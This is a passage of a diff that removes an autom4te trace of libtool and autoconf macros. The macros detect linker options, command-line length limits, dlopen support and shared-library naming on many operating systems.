- *)
- esac
- done
-fi
-if test "$_INP" = "_"; then
- case "$_OUT" in
- */*) _INP=`basename "$_OUT"`
- ;;
- *-*) _INP=`echo "$_OUT" | sed -e "s/@<:@_symbol@:>@*-//"`
- ;;
- *) _INP=config.h
- ;;
- esac
-fi
-if test -z "$_PKG" ; then
- AC_MSG_ERROR([no prefix for _PREFIX_PKG_CONFIG_H])
-else
- if test ! -f "$_INP" ; then if test -f "$srcdir/$_INP" ; then
- _INP="$srcdir/$_INP"
- fi fi
- AC_MSG_NOTICE(creating $_OUT - prefix $_UPP for $_INP defines)
- if test -f $_INP ; then
- echo "s/@%:@undef *\\(@<:@m4_cr_LETTERS[]_@:>@\\)/@%:@undef $_UPP""_\\1/" > _script
- # no! these are things like socklen_t, const, vfork
- # echo "s/@%:@undef *\\(@<:@m4_cr_letters@:>@\\)/@%:@undef $_LOW""_\\1/" >> _script
- echo "s/@%:@def[]ine *\\(@<:@m4_cr_LETTERS[]_@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_UPP""_\\1 \\" >> _script
- echo "@%:@def[]ine $_UPP""_\\1 \\2 \\" >> _script
- echo "@%:@endif/" >>_script
- # no! these are things like socklen_t, const, vfork
- # echo "s/@%:@def[]ine *\\(@<:@m4_cr_letters@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_LOW""_\\1 \\" >> _script
- # echo "@%:@define $_LOW""_\\1 \\2 \\" >> _script
- # echo "@%:@endif/" >> _script
- # now executing _script on _DEF input to create _OUT output file
- echo "@%:@ifndef $_DEF" >$tmp/pconfig.h
- echo "@%:@def[]ine $_DEF 1" >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
- echo /'*' $_OUT. Generated automatically at end of configure. '*'/ >>$tmp/pconfig.h
-
- sed -f _script $_INP >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
- echo '/* once:' $_DEF '*/' >>$tmp/pconfig.h
- echo "@%:@endif" >>$tmp/pconfig.h
- if cmp -s $_OUT $tmp/pconfig.h 2>/dev/null; then
- AC_MSG_NOTICE([$_OUT is unchanged])
- else
- ac_dir=`AS_DIRNAME(["$_OUT"])`
- AS_MKDIR_P(["$ac_dir"])
- rm -f "$_OUT"
- mv $tmp/pconfig.h "$_OUT"
- fi
- cp _script _configs.sed
- else
- AC_MSG_ERROR([input file $_INP does not exist - skip generating $_OUT])
- fi
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-else
- ifelse([$6], , :, [$6])
-fi
-])
-m4trace:acinclude.m4:1264: -1- AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], [AC_CACHE_CHECK([$1], [$2],
- [$2=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $3"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&AS_MESSAGE_LOG_FD
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- $2=yes
- fi
- else
- $2=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-])
-
-if test x"[$]$2" = xyes; then
- ifelse([$4], , :, [$4])
-else
- ifelse([$5], , :, [$5])
-fi
-])
-m4trace:acinclude.m4:1299: -1- AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], [# find the maximum length of command line arguments
-AC_MSG_CHECKING([the maximum length of command line arguments])
-AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl
- i=0
- teststring="ABCD"
-
- case $build_os in
- msdosdjgpp*)
- # On DJGPP, this test can blow up pretty badly due to problems in libc
- # (any single argument exceeding 2000 bytes causes a buffer overrun
- # during glob expansion). Even if it were fixed, the result of this
- # check would be larger than it should be.
- lt_cv_sys_max_cmd_len=12288; # 12K is about right
- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
- if test -x /sbin/sysconfig; then
- case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
- if test -n "$kargmax"; then
- lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ ]]//'`
- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \
- = "XX$teststring") >/dev/null 2>&1 &&
- new_result=`expr "X$teststring" : ".*" 2>&1` &&
- lt_cv_sys_max_cmd_len=$new_result &&
- test $i != 17 # 1/2 MB should be enough
- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-])
-if test -n $lt_cv_sys_max_cmd_len ; then
- AC_MSG_RESULT($lt_cv_sys_max_cmd_len)
-else
- AC_MSG_RESULT(none)
-fi
-])
-m4trace:acinclude.m4:1414: -1- AC_DEFUN([_LT_AC_CHECK_DLFCN], [AC_CHECK_HEADERS(dlfcn.h)dnl
-])
-m4trace:acinclude.m4:1422: -1- AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF], [AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
-if test "$cross_compiling" = yes; then :
- [$4]
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-[#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
-extern "C" void exit (int);
-#endif
-
-void fnord() { int i=42;}
-int main ()
-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
- }
- else
- puts (dlerror ());
-
- exit (status);
-}]
-EOF
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then
- (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null
- lt_status=$?
- case x$lt_status in
- x$lt_dlno_uscore) $1 ;;
- x$lt_dlneed_uscore) $2 ;;
- x$lt_dlunknown|x*) $3 ;;
- esac
- else :
- # compilation failed
- $3
- fi
-fi
-rm -fr conftest*
-])
-m4trace:acinclude.m4:1512: -1- AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], [AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- AC_CHECK_LIB([dl], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ])
- ;;
-
- *)
- AC_CHECK_FUNC([shl_load],
- [lt_cv_dlopen="shl_load"],
- [AC_CHECK_LIB([dld], [shl_load],
- [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"],
- [AC_CHECK_FUNC([dlopen],
- [lt_cv_dlopen="dlopen"],
- [AC_CHECK_LIB([dl], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],
- [AC_CHECK_LIB([svld], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"],
- [AC_CHECK_LIB([dld], [dld_link],
- [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"])
- ])
- ])
- ])
- ])
- ])
- ;;
- esac
-
- if test "x$lt_cv_dlopen" != xno; then
- enable_dlopen=yes
- else
- enable_dlopen=no
- fi
-
- case $lt_cv_dlopen in
- dlopen)
- save_CPPFLAGS="$CPPFLAGS"
- test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
-
- save_LDFLAGS="$LDFLAGS"
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
-
- save_LIBS="$LIBS"
- LIBS="$lt_cv_dlopen_libs $LIBS"
-
- AC_CACHE_CHECK([whether a program can dlopen itself],
- lt_cv_dlopen_self, [dnl
- _LT_AC_TRY_DLOPEN_SELF(
- lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes,
- lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross)
- ])
-
- if test "x$lt_cv_dlopen_self" = xyes; then
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
- AC_CACHE_CHECK([whether a statically linked program can dlopen itself],
- lt_cv_dlopen_self_static, [dnl
- _LT_AC_TRY_DLOPEN_SELF(
- lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes,
- lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross)
- ])
- fi
-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-])
-m4trace:acinclude.m4:1626: -1- AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O], [AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
-AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext],
- [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)],
- [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&AS_MESSAGE_LOG_FD
- echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
- fi
- fi
- chmod u+w . 2>&AS_MESSAGE_LOG_FD
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-])
-])
-m4trace:acinclude.m4:1677: -1- AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_REQUIRE([_LT_AC_LOCK])dnl
-
-hard_links="nottested"
-if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- AC_MSG_CHECKING([if we can lock with hard links])
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- AC_MSG_RESULT([$hard_links])
- if test "$hard_links" = no; then
- AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe])
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-])
-m4trace:acinclude.m4:1703: -1- AC_DEFUN([AC_LIBTOOL_OBJDIR], [AC_CACHE_CHECK([for objdir], [lt_cv_objdir],
-[rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null])
-objdir=$lt_cv_objdir
-])
-m4trace:acinclude.m4:1721: -1- AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_MSG_CHECKING([how to hardcode library paths into programs])
-_LT_AC_TAGVAR(hardcode_action, $1)=
-if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \
- test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \
- test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no &&
- test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then
- # Linking always hardcodes the temporary library directory.
- _LT_AC_TAGVAR(hardcode_action, $1)=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- _LT_AC_TAGVAR(hardcode_action, $1)=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- _LT_AC_TAGVAR(hardcode_action, $1)=unsupported
-fi
-AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)])
-
-if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-])
-m4trace:acinclude.m4:1761: -1- AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP], [striplib=
-old_striplib=
-AC_MSG_CHECKING([whether stripping libraries is possible])
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- AC_MSG_RESULT([yes])
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- AC_MSG_RESULT([yes])
- else
- AC_MSG_RESULT([no])
-fi
- ;;
- *)
- AC_MSG_RESULT([no])
- ;;
- esac
-fi
-])
-m4trace:acinclude.m4:1791: -1- AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_MSG_CHECKING([dynamic linker characteristics])
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[[01]] | aix4.[[01]].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[[45]]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[[123]]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[[01]]* | freebsdelf3.[[01]]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \
- freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
